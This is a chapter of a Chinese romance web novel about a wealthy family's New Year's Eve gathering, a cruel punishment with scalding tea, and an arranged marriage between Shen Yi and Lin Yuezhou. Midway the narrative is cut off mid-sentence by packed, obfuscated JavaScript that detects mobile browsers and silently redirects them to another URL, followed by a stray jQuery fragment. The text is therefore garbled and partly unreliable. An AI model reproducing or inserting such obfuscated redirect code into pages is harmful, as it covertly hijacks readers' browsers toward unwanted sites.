2. 点到为止

作品:《池中物[极致拉扯]

    沈季序和林越洲已经走到她身后几步,方才两人的对话估计也只听了后半段。


    幸好,还听到了后半段。


    沈季序扫了眼沈意,熟视无睹地径直略过,直接坐在了两人对面。


    面上留了三分和善,眼底情绪却藏得很深,看不真切。


    他没说话。


    只是慢条斯理地拆了袖扣,熟练地抽出茶针准备撬茶。


    从头到尾,只有连贯的动作和温和的面色,明明没半点刻意,却莫名的让人喘不上气,心惊肉跳的压迫感。


    “怎么好让沈部亲自动手。”


    先前口无遮拦的那哥们儿这会儿嘴都瓢了,私下家宴喊官称,跟刻意摆谱似的。


    寒冬腊月的,他鬓间愣是落了两串汗珠,连忙看向一旁的侍茶的女人。


    没不等他发号施令,沈意就抬手示意,让人先下去。


    能在老宅里留着侍候的,谁不懂得看主人家眉高眼低?


    沈季序和沈意都在场。


    哪轮得到他一个叫不上名的旁系来指手画脚?


    祸从口出,但这会儿已经晚了。


    反观他身旁那个礼数周全的年轻男人倒没他这么慌乱,气定神闲地起身,替沈季序把茶壶挪到了炭火上。


    沈季序察觉到他的动作,抬眼打量他一瞬,眼底的情绪并不分明,瞧不出是喜是怒。


    没一会儿,茶汤沸了。


    沈季序拿软布垫着壶底,握住壶柄,不紧不慢地递到那浑身发颤的男人面前。


    明摆着要给他斟茶。


    他是真怵了。


    接也不是,不接也不是,进退两难。


    但也不好让沈季序一直这么为他端着茶壶,颤颤巍巍地双手捧着八方杯,低眉顺眼地强装镇定讨好。


    “多谢沈少……啊———”


    一注刚滚的茶汤,不偏不倚地浇在了那人的手背。


    氤氲的雾气模糊了视线,手上瞬间通红一片,疼得闷哼,不敢叫出声,又不敢把手上的水渍甩到沈季序身上。


    直到痛感彻底控制了大脑。


    茶杯脱手,溅了满桌。


    整个人攥着手腕低吼着往后退去。


    沈意正站在他身后。


    刚想躲,肩上突然被扣了一道力,往回一带,整个人就侧撞进了林越洲怀里。


    那人摊在地上抽搐,分不清脸上的是汗是泪,整张脸都扭曲的分辨不出五官,却还是想要为自己辩解两句。


    只可惜脱罪的话出口,反倒成了咬牙忍痛的闷哼。


    沈季序手下的人得到授意,大步朝他走去。


    不由分说地拎着他后衣领,跟丢垃圾似的直接把人拖出了庭院。


    沈意眼睛都亮了,简直大快人心。


    压制不住上扬的嘴角,杏眼弯弯,回头对上那双眼时却又突然滞了两秒。


    所有明媚和雀跃戛然而止,从他怀里不动声色地撤了出来,转过身去背对着他。


    始终在介怀。


    “杀鸡儆猴的事做了,话我就不用赘述了吧。”


    沈季序不温不凉的开口,未曾给过那人一个眼神,不紧不慢地给他面前的茶杯倒了满杯。


    跟聪明人说话,不需要外露的情绪,只需要一个简单的动作,就能让对方知道意思。


    他不蠢,更多的是审时度势的聪明。


    见人说人话见鬼说鬼话,礼数周全却能诱敌深入,这种人可怕的地方也正是他的聪明。


    “多谢沈少指点。”


    这人藏得住心思,甚至面上没有任何起伏,缓缓起身颔首致意,又在路过沈意和林越洲时略微点头微笑。


    谁都不得罪。


    见人走了,沈季序这才看向沈意,无奈抬手,唤来侍者重新上了一套茶具。


    两人坐在沈季序对面。


    沈意接过暖手杯,在手里打着圈儿转,说出的话却冷,“大过年的,这么做要是被爷爷知道,不好吧哥?”


    能来老宅过贺的,不论正系旁系,那也都是有头有脸的。


    沈季序虽执掌沈家大权,但他和沈意也有区别,沈意是含着金汤匙出生的,而他是后来才被接回沈家的。


    因此内部依然有不少年轻一辈打心底里瞧不起他,暗地里想要取而代之的,不在少数。


    沈季序倒是没什么太大的反应,把视线落回沈意身上,又看了眼一言不发的林越洲。


    嘴角轻勾了下,微凉的嗓音少了几分压迫却多了点谑意。


    “你也知道大过年的?”


    沈意一愣,抬头看他。


    “你方才那架势,不是想动手?”


    沈意语塞,因为她刚才是真有这个念头,“我……你怎么知道?”


    沈季序轻笑了下,看向林越洲,抬了抬下巴,“我不知道,但你这个哥知道。”


    沈意:……


    哪壶不开提哪壶,一张桌子上她管两个人都叫哥。


    结果今天告诉她。


    她的“哥哥”变成了她的老公……


    沈季序就跟没察觉到她的不痛快一样,敛着视线摩挲手边的八方杯,嗓音倒淡。


    “要真想出气,出了老宅大门,我绝不挑你理。”


    他抿了口茶,眸色暗沉,“但今儿是除夕,给个教训也就罢了,既然要装乖讨巧,就收收你那脾气。”


    “知道了。”


    沈意没好气地放下杯子,撂了三个字。


    外界总传她和沈季序不合,其实还真不是,毕竟血浓于水,即便不是一个妈生的。


    只是沈季序这人,正派得有些过了头。


    甚至带了点不近人情的阴森鬼感,和她的离经叛道不服管截然相反,或许跟母亲的基因真有点关系。


    沈意和她母亲简直是一个模子刻出来的脾性。


    既藏不住,又懒得演。


    她在外惹了事第一个就想找他料理善后,结果沈季序倒好,连看都懒得看一眼。


    所以她就把主意打到了林越洲身上。


    凡是沈季序不管的事儿,林越洲总会替她处理的干干净净,一个管杀,一个管埋,配合相当默契。


    日子久了,她也察觉出不对劲儿了,能跟沈季序玩在一起的,能是什么好东西?


    但真要敬而远之,往后她要再惹出什么麻烦,就没人给她兜底了。


    思来想去,为了明哲保身,沈意做了个大胆的决定。


    于是再见到林越洲时,她脆生生地叫了声。


    “哥哥~”


    完全不顾一旁沈季序阴沉的脸和林越洲眼底意味不明的视线,美名其曰,“你是我哥的好兄弟,就是我半个哥哥。”


    -


    她渐远的思绪被来人猝然打断,那人走到沈季序身侧,俯身压低声音耳语了几句。


    沈季序偏过头,面上瞧不出起伏,只轻描淡写应了句,“知道了。”


    正要起身,沈意却连忙伸手拦人,“是爷爷找你吗,要我一起吗?”


    那点想逃离的情绪,给得太直白。


    林越洲落在她身上的目光往下沉了几分,但始终缄默,垂眼敛去眼底大半情绪。


    闻言,沈季序倒是没忍住低笑出声,整理好袖扣,不紧不慢的反问她。


    “从前跟你哥腻在一起,巴不得我滚远点。”意有所指的视线落在林越洲身上,调侃道。


    “怎么现在转性了?”


    沈意自知失言,讪讪收回手,拿腔拿调地讥讽了一句,“好心当成驴肝肺,我是怕你挨罚。”


    这三人也算是一起长大,沈意什么时候在他身上花过心思?


    她这次回国,半年没和林越洲联系,早就有消息送到他面前,只是觉得没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140493|196304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    必要插手。


    谁招的谁去哄。


    沈季序笑而不语,转身离开。


    人刚走,岩桌的气氛瞬间凝滞。


    只剩炭火上的茶汤咕嘟作响,茶叶在沸水里沉浮翻腾,氤氲出的茶香浓烈得有些呛人。


    林越洲掀了掀眼皮,余光扫向一旁侍茶的女人,后者心领神会,悄无声息的退了下去。


    视线落回沈意侧脸,软下来的语气像是妥协,“要是觉得跟我呆在一起不舒服,我也可以…”


    “这是沈家。”


    沈意回头,直接截断了他的话。


    却在对上那双含情的温柔眼时,略微顿了下,“你除了跟我呆在一起,没别的选择。”


    那双眸子,和从前一样温柔缱绻。


    只是深处似乎藏了些说不清道不明的情绪,叫人无所适从。


    像是蛰伏在暗处的塞壬。


    一声温柔嗓,一把致命刃。


    先蛊惑对手使其放松警惕,最后再一击致命,拆骨入腹,吃干抹净。


    他不就是这么对自己的吗?


    “什么时候知道的?”


    林越洲嗓音微沉,他预判了沈意知道联姻之后的反应,甚至做好了和她打持久战的准备。


    但出乎预料,在两人僵局未破的情况下。


    沈意居然平静地接受了,甚至没有任何反抗的情绪。


    相处这么多年,林越洲对她几乎了如指掌,如果没有后手,她根本不可能轻易默许。


    沈意垂眸,把玩着自己的发尾,有点漫不经心的意思。


    “爷爷让我去接你的时候就猜到了。”


    当时还只是猜测,林家在燕京有钱有势,新年除夕夜不留在燕京反倒跑来沪上?


    只有一种可能,林越洲是得到允许,以沈家未来女婿的身份借除夕家宴的契机露面,顺便把这事儿敲定下来。


    林越洲靠得近了些,试探着开口,“没想过拒绝吗?”


    闻言,沈意抓头发的手一顿,青丝落回身前,清冷的杏眼略微闪烁,皱着眉看他。


    “你不想娶我?”


    略微上扬的尾调,明晃晃的质问。


    林越洲勾了勾唇,几乎没有思索,“想娶,但更想你心甘情愿。”


    他这人说话真假难辨。


    即便如此,沈意还是微怔了下,转过身去。


    过了半晌才幽幽开口,“哪有那么多你情我愿的爱情。”


    她这话说的不假,这种家世背景下,婚姻从来不是两个人的私事。


    即便不奢上嫁也绝对会选择门当户对的联姻对象,不会浪费任何能置换利益的筹码。


    沈意的母亲,就是明晃晃的例子。


    利益至上的时代,爱情是最不值一提的累赘,或许有人应有,但那绝不是她沈意所追求的。


    自小耳濡目染,利弊算尽,她其实从一开始就算准了自己会嫁给林越洲。


    互惠互利的关系。


    林家谋权,沈家图商,各取所需。


    纵然两家都不再需要靠联姻来获得什么,而沈意自己也无所谓嫁谁,即便是嫁个街头流浪汉,她的日子也照样过的风生水起。


    结果没想到,林越洲不这么想。


    这还是她长这么大,第一次失算。


    简直是她人生中的一大败笔。


    “我和爷爷说过了,领证和婚礼会往后推。”林越洲眉眼沉了沉,嗓音依旧淡然。


    试探性的伸手,替她把垂落的发丝捋到耳后,“这段时间先让你适应一下。”


    沈意低着头,嘴角瘪了下。


    心里正骂他呢。


    做的时候没想着让她适应一下,折腾一个晚上她骨头都快散架了,回家躺了三四天才彻底缓过劲儿来。


    现在居然还好意思装好人舔着脸来跟她说适应一下?